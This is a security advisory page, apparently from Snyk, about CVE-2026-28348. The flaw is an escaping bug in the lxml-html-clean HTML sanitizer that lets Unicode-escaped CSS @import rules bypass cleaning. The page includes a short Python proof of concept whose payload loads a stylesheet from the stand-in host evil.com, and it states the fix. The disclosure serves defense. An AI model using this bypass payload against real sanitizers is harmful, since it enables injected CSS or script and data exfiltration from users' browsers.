Improper Encoding or Escaping of Output Affecting lxml-html-clean package, versions [,0.4.4)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published3 Mar 2026
- disclosed2 Mar 2026
- credituug4na
Introduced: 2 Mar 2026
CVE-2026-28348 (opens in a new tab)How to fix?
Upgrade lxml-html-clean to version 0.4.4 or higher.
Overview
lxml-html-clean is a HTML cleaner from lxml project
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the _has_sneaky_javascript() function. An attacker can cause external CSS to be loaded or execute scripts in certain browsers by injecting specially crafted Unicode escape sequences into style elements. This can lead to data exfiltration, UI manipulation, or script execution when the crafted input is rendered in a browser.
PoC
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>